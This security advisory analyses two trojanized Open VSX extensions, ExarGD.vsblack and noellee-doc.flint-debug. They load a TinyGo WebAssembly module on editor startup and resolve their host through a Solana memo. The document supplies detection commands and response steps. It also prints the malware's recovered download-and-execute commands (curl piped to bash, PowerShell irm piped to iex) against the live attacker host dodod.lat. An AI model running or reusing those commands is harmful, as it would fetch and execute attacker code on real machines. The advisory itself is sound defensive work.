critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-829

Affected Surface

Open VSX copies of `ExarGD.vsblack@0.0.1` and `noellee-doc.flint-debug@0.1.1`, Cursor, Windsurf, VSCodium, Gitpod, and other VS Code-compatible editors that source extensions from Open VSX, Developer workstations that activated either trojanized extension on macOS, Linux, or Windows, Build and developer environments where editor processes can reach GitHub, package registries, cloud credentials, SSH keys, or wallet material

On 15 June 2026, researchers disclosed two trojanized Open VSX extensions that matter to application security teams because they move the execution point from a package manager into the editor itself. The confirmed malicious builds were ExarGD.vsblack@0.0.1 and noellee-doc.flint-debug@0.1.1, both published through Open VSX under identity-cloned names that matched legitimate Visual Studio Marketplace projects.

The important technical shift is not just “an extension was malicious.” These packages shipped a TinyGo-compiled WebAssembly module, executed it automatically on extension activation, used Solana transaction memos as a dead-drop configuration channel, and then constructed platform-specific child_process.execSync(...) download-and-execute commands. That is a more evasive design than a plain JavaScript loader or a hardcoded C2 domain, because the extension package can stay small while the actual next-stage host rotates on-chain.

Affected extension versions

At publication, the affected Open VSX package versions were:

PackageMalicious versionNotes
ExarGD.vsblack0.0.1Open VSX clone of the legitimate VSBlack theme project
noellee-doc.flint-debug0.1.1Open VSX clone of the legitimate Flint smart-contract debugger

The identity abuse here is worth calling out. This was not simple typosquatting such as vs-blak or flint-debig. The malicious Open VSX listings reused the same publisher and extension naming seen in the real upstream projects, while Open VSX showed a different actual account behind the publication event. That is exactly the kind of cross-registry trust gap that can fool a developer who verifies only the extension name, version, README, and repository link.

Why this is a supply-chain issue for AppSec, not just an IDE story

Open VSX is not a side registry that only hobbyists touch. It is the default extension source for several VS Code-compatible editors and remote development environments, including Cursor, Windsurf, VSCodium, and Gitpod. A compromised extension in that path lands on the same machine that already holds:

  • source code and checked-out secrets
  • GitHub, GitLab, or registry credentials
  • cloud CLIs and cached tokens
  • SSH keys and local .env files
  • AI coding assistant and editor integration secrets

In other words, the execution surface is the developer workstation, which is often the most privileged application-security asset outside production.

Startup execution path: extension activation into go.run()

The malicious builds were reported to add an onStartupFinished activation path and an appended bootstrap that instantiates a WebAssembly payload through the TinyGo runtime glue. The high-level execution chain looked like this:

editor startup
  -> extension activation
  -> TinyGo wasm_exec.js loader
  -> WebAssembly.instantiate(...)
  -> go.run(instance)
  -> Solana RPC lookup
  -> child_process.execSync(platform_specific_command)

That matters because the code does not wait for a user to open a suspicious file or click a button. Simply loading the extension is enough to run the bootstrap.

The shipped .wasm was also not a passive asset. Public analysis recovered a TinyGo js/wasm fingerprint from its import and export tables:

gojs.runtime.ticks
gojs.runtime.sleepTicks
gojs.syscall/js.valueGet
gojs.syscall/js.valueCall
gojs.syscall/js.valueInvoke
gojs.syscall/js.valueNew
gojs.syscall/js.valueSet

Those imports are a strong signal that the WebAssembly module was designed to drive the JavaScript host rather than perform isolated computation. In practical terms, the .wasm could not reach the network or spawn processes directly, so it delegated that work through the Node/extension host bridge.

The WebAssembly payload hid its strings and deferred infrastructure lookup

One of the more important implementation details is what did not exist in plaintext inside the shipped .wasm. Reported analysis found no readable URLs, no wallet address, and no child_process or execSync strings in the raw module. Instead, the module encrypted its meaningful strings and reconstructed them only at runtime.

The published reverse engineering tied that behavior to a ChaCha20-based decryption routine and recovered Solana-transaction parsing structures from reflected Go metadata. That is why static string scanning alone is a weak defense here: the interesting indicators appear only after the bootstrap runs.

Solana memo dead-drop: the C2 lookup path

The most distinctive part of the loader is its use of Solana JSON-RPC as a dead-drop control channel. The recovered request body was:

{"id":1,"jsonrpc":"2.0","method":"getSignaturesForAddress","params":["6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz",{"limit":50}]}

From there, the module walked transactions, fetched them with getTransaction, and looked for Memo instructions under the canonical SPL Memo program IDs:

MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr
Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM

The recovered memo format was a length-prefixed payload:

[9] dodod.lat

That is the dead-drop value that filled the missing host component in the stage-three command templates. From a defender’s perspective, this is a meaningful escalation over hardcoded infrastructure:

  1. The extension package can be published without an obvious C2 domain.
  2. The operator can rotate the active host by posting a new blockchain memo.
  3. The registry artifact does not need to change for the next-stage infrastructure to change.

Stage three: OS-specific child_process execution

Once the host was resolved from the memo, the loader built OS-specific download-and-execute commands. The recovered templates were:

darwin :  curl -fsSL https:///darwin/i/_ | bash
linux  :  curl -fsSL https:///linux/i/_  | bash
win32  :  powershell -Command "irm https:///win32/i/_ | iex"

And the surrounding execution primitives recovered in memory were:

process
platform
require
child_process
execSync
windowsHide

With the memo-resolved host interpolated, the execution shape becomes straightforward:

macOS  -> curl -fsSL https://dodod.lat/darwin/i/_ | bash
Linux  -> curl -fsSL https://dodod.lat/linux/i/_  | bash
Windows -> powershell -Command "irm https://dodod.lat/win32/i/_ | iex"

This is not a benign telemetry call or a configuration sync. It is explicit second-stage retrieval and immediate execution under the privileges of the editor process.

Why WebAssembly made the package harder to inspect

For AppSec teams used to reviewing suspicious JavaScript packages, the design choice here is important. Compiling the control logic to TinyGo WebAssembly changes the inspection workload:

  • the decision tree moves out of readable JavaScript and into a binary blob
  • URLs and command fragments are reconstructed in memory instead of stored verbatim
  • detection based only on lifecycle scripts or obvious extension main code becomes less reliable

The right lesson is not “all WebAssembly is bad.” It is that an extension or package that unexpectedly ships .wasm plus a thin JS loader deserves the same scrutiny as an obfuscated JavaScript payload, especially when the module imports gojs.syscall/js.* and the host environment has access to require, fetch, or child_process.

Scoping your exposure

Start by checking whether either extension exists in local editor directories:

rg -n '"publisher": "(ExarGD|noellee-doc)"|"name": "(vsblack|flint-debug)"' \
  "$HOME/.cursor/extensions" \
  "$HOME/.vscode/extensions" \
  "$HOME/.vscode-oss/extensions" \
  "$HOME/.windsurf/extensions" 2>/dev/null

Then hunt for the specific payload artifacts and execution bridge:

rg -n 'snqpkebiwrxmoivl\.wasm|orybbbdsuqmaapel\.wasm|go\.run\(|child_process|execSync' \
  "$HOME/.cursor/extensions" \
  "$HOME/.vscode/extensions" \
  "$HOME/.vscode-oss/extensions" \
  "$HOME/.windsurf/extensions" 2>/dev/null

If you have EDR or process telemetry, look for:

node -> bash
node -> curl
node -> powershell
JSON-RPC calls to api.mainnet.solana.com using getSignaturesForAddress then getTransaction
the wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz in process memory or logs

Even if the reported dodod.lat host is no longer serving a second stage, any host that activated the extension already executed attacker-controlled loader logic and should be treated as exposed.

Response guidance

Treat activation of either malicious Open VSX package as workstation compromise.

  1. Remove the affected extension versions from every VS Code-compatible editor that uses Open VSX.
  2. Re-image or otherwise deeply triage affected workstations before trusting them again.
  3. Rotate all credentials reachable from the device: source control, registries, cloud, SSH, browser sessions, wallets, and AI/editor integration secrets.
  4. Audit recent repository pushes, release actions, and package publishing performed from the affected developer account.
  5. Add Wasm-aware inspection to extension and package vetting pipelines instead of checking only JavaScript sources and lifecycle scripts.

The strategic takeaway is bigger than these two extension IDs. The supply chain now includes extension registries, alternate marketplaces, and binary payload formats that most code-review pipelines do not inspect at all. In June 2026, Open VSX was not just a place to fetch editor cosmetics and tooling; it was an execution path from a trusted extension name into a Solana-driven malware loader.

References